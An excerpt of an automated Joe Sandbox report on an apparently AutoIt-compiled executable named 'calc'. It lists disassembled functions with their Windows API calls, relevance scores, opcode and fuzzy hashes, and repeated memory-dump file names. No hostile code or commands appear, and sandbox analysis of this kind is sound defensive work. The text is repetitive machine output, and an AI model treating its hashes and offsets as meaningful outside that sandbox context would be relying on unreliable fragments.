    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _strcat
    • String ID: AU3!$EA05
    • API String ID: 1765576173-125543416
    • Opcode ID: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
    • Instruction ID: 29d5f5a1b1809eb385cd818f5a50e58fa9f1bd2989d91b3669fe8a792949b4ba
    • Opcode Fuzzy Hash: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
    • Instruction Fuzzy Hash: 70218F71D402086AFB11DAA8CD46FEE3BA9AF44308F6408AFF141E7183E5F49244876A
    Function 0044FEA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: __getbuf
    • String ID: o-D$pYF
    • API String ID: 554500569-2041862546
    • Opcode ID: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
    • Instruction ID: 45ab4429e61f8382d5639e8b3e42171f035d9681ef4c197fd688d929c02a0895
    • Opcode Fuzzy Hash: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
    • Instruction Fuzzy Hash: FD219331414B018FE7348E29C450763B7E1AF56374B248A2FE4F6877D2D739A84E8B48
    Function 0044FAF0 Relevance: 4.6, APIs: 3, Instructions: 146fileCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001), ref: 0044FBE0
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FileWrite
    • String ID:
    • API String ID: 3934441357-0
    • Opcode ID: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
    • Instruction ID: 70d429ee7121439abd4bc97c56a079324356a00733651e9dd73cd6a5f99de41e
    • Opcode Fuzzy Hash: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
    • Instruction Fuzzy Hash: E5514E71900248CFEF25DFA8C984AADBBB8FF0A305F24056EE8559B252D7349909CB19
    Function 00414E97 Relevance: 4.6, APIs: 3, Instructions: 75COMMON
    Download Yara Rule
    APIs
    • SHGetMalloc.SHELL32(?), ref: 00414EB8
    • SHGetDesktopFolder.SHELL32(?), ref: 00414ED7
    • SHGetPathFromIDListW.SHELL32(?,?), ref: 00414F0D
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: DesktopFolderFromListMallocPath
    • String ID:
    • API String ID: 2281215042-0
    • Opcode ID: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
    • Instruction ID: 420e6610a152b6402536c0acf94c904dc319534d543c5730a20390f59e048e41
    • Opcode Fuzzy Hash: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
    • Instruction Fuzzy Hash: 44218C76900219ABDB10DFA0D888EDEB7B9AF48710F10409AF9059B290DB35EE45CB58
    Function 00401852 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00401904: LoadLibraryA.KERNEL32(uxtheme.dll,00401884), ref: 0040190F
      • Part of subcall function 00401904: GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
    • FreeLibrary.KERNEL32(?,0047BCF4,?), ref: 004018E0
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$AddressFreeLoadProc
    • String ID: Wu
    • API String ID: 145871493-4083010176
    • Opcode ID: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
    • Instruction ID: 01922d125a099be2173beefaa94b615fd73c8a70fa8edead01576b879d90f1d3
    • Opcode Fuzzy Hash: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
    • Instruction Fuzzy Hash: 9F0140B2D04204AFD701BFAAAC0159DBBE4EB94708B10C07BF904E3261D7B85A40DB5E
    Function 00442C1C Relevance: 3.1, APIs: 2, Instructions: 85COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
    • _strcat.LIBCMT ref: 00442C49
    • _strcat.LIBCMT ref: 00442C56
      • Part of subcall function 00442A91: _strlen.LIBCMT ref: 00442A99
      • Part of subcall function 00442D0D: _strcat.LIBCMT ref: 00442D41
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _strcat$ByteCharMultiWide$_strlen
    • String ID:
    • API String ID: 1312754939-0
    • Opcode ID: 3712e034746cfa9d275968536f5e73e61f62d0093438a87d15a237fa94b18d45
    • Instruction ID: b0cc53737743a3ac0a727fc92c25a37191f4a65ad63c267f3757994ee01627ef
    • Opcode Fuzzy Hash: 3712e034746cfa9d275968536f5e73e61f62d0093438a87d15a237fa94b18d45
    • Instruction Fuzzy Hash: 96219DB29105242FFB20BB768C82B9EB79CFF01318F50896FF465D2182EB7CD9104699
    Function 0044F7F5 Relevance: 3.0, APIs: 2, Instructions: 43COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • SetFilePointer.KERNEL32(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
    • GetLastError.KERNEL32 ref: 0044F82F
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFileLastPointer
    • String ID:
    • API String ID: 2976181284-0
    • Opcode ID: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
    • Instruction ID: f4beb2f81c7b533093f19090f57eb703413f6fe32cdcc2261b4f7d7860460413
    • Opcode Fuzzy Hash: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
    • Instruction Fuzzy Hash: 6101F4326046215AEB106F3CFC0895E37649B81331F120B6AF171CF2E2DF34CC458269
    Function 00449C88 Relevance: 3.0, APIs: 2, Instructions: 35memoryCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CriticalEnterFreeHeapSection__lock
    • String ID:
    • API String ID: 3012239193-0
    • Opcode ID: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
    • Instruction ID: 352e0a56757a29f70fda5dbbd02c219ebdc15a73ecec0d8b306ef4bd3729acd0
    • Opcode Fuzzy Hash: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
    • Instruction Fuzzy Hash: FCF0F030841202AAFF706B629C46B5F7BA0AF00768F20011FF4102A1D1CB3C5D41AA8C
    Function 00449A38 Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 00449A5A
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • RtlAllocateHeap.NTDLL(00000000,?,0045B068), ref: 00449A9B
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AllocateCriticalEnterHeapSection__lock
    • String ID:
    • API String ID: 409319249-0
    • Opcode ID: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
    • Instruction ID: fdb724486434b2d6e8ccd2904e3ef89b22f67d2e8c8e0598606752c53c52e891
    • Opcode Fuzzy Hash: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
    • Instruction Fuzzy Hash: 3DF0C231C502509BEB60ABA19C0675F7360AB00768F20422EE8207A2F1C73C5C05A78C
    Function 0044E07D Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
    Download Yara Rule
    APIs
    • HeapCreate.KERNEL32(00000000,00001000,00000000,0044BF66,00000001,?,0045B1B8,00000060), ref: 0044E08E
      • Part of subcall function 0044E0CE: RtlAllocateHeap.NTDLL(00000000,00000140,0044E0B6), ref: 0044E0DB
    • HeapDestroy.KERNEL32(?,0045B1B8,00000060), ref: 0044E0C1
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Heap$AllocateCreateDestroy
    • String ID:
    • API String ID: 316229882-0
    • Opcode ID: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
    • Instruction ID: ca41273765c5c3aab36d8d05c3b896e55048c7fa67c0c8062e034f08bda47014
    • Opcode Fuzzy Hash: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
    • Instruction Fuzzy Hash: 60E048706613109AFB546B736C0572A36D4FB44747F004C3EF465C61E0EBB8CC449709
    Function 00416168 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
    Download Yara Rule
    APIs
    • EnumResourceNamesW.KERNEL32(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
    • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: EnumImageLoadNamesResource
    • String ID:
    • API String ID: 1578290342-0
    • Opcode ID: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
    • Instruction ID: 388dc2f8e504b4818ad8221c326ea7f1357133d35e6b367d3968a5e83fac51bc
    • Opcode Fuzzy Hash: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
    • Instruction Fuzzy Hash: D2F06D70244300BBFB218F95ED49B5A3BA5AB40B5AF100D2AF104A55F0E3F4CA90DB9E
    Function 0044FD57 Relevance: 2.6, APIs: 2, Instructions: 52COMMON
    Download Yara Rule
    APIs
    • CloseHandle.KERNEL32(00000000,00000000,00000000,00455E82,00000000), ref: 0044FD91
    • GetLastError.KERNEL32 ref: 0044FD9B
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseErrorHandleLast
    • String ID:
    • API String ID: 918212764-0
    • Opcode ID: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
    • Instruction ID: dfd6dc24ececc12b093a21fe2a3d80e4ea14aafa4b6e7905c67d2704a465acd5
    • Opcode Fuzzy Hash: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
    • Instruction Fuzzy Hash: 3601F73AD0165155E7243639680AA5F22548FC1326F25097FF822C72C3DE1CC849419E
    Function 00443162 Relevance: 1.6, APIs: 1, Instructions: 138COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
    • _strcat.LIBCMT ref: 00443184
      • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharFreeHeapMultiWide__lock_strcat
    • String ID:
    • API String ID: 4005365108-0
    • Opcode ID: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
    • Instruction ID: 279db9349b9432370442bca1a9a1493b0779058484bbe6e66891083dc9997760
    • Opcode Fuzzy Hash: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
    • Instruction Fuzzy Hash: E641CF71900208BBEB20EF62CC86EDFB7B9EF44704F10049FF554A2181D77AAB509B59
    Function 004183F6 Relevance: 1.5, APIs: 1, Instructions: 45COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ClearVariant
    • String ID:
    • API String ID: 1473721057-0
    • Opcode ID: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
    • Instruction ID: d2bd3d490d9ddfc467a21e27a978dfc4666dbaf1305854362b7c44e4a4fbedf9
    • Opcode Fuzzy Hash: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
    • Instruction Fuzzy Hash: 70016D314009128BEB306F16D881AEAB7E5AF50725F31482FF88186221EF6D9CC29A5D
    Function 004129C0 Relevance: 1.5, APIs: 1, Instructions: 33windowCOMMON
    Download Yara Rule
    APIs
    • CreateIcon.USER32(00000020,00000020,00000001,00000001,?,?), ref: 00412A12
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CreateIcon
    • String ID:
    • API String ID: 3625662491-0
    • Opcode ID: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
    • Instruction ID: 8f4eba20f0dd3c68f254ecd256194a12db5acd5393f4aab0f61f7e9ed3e12a4c
    • Opcode Fuzzy Hash: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
    • Instruction Fuzzy Hash: 50F05471A40219BAEB21AA64DC46FDAB2ACBB08704F000476F605F21C1E6F46D548B98
    Function 00414E55 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
    Download Yara Rule
    APIs
    • GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
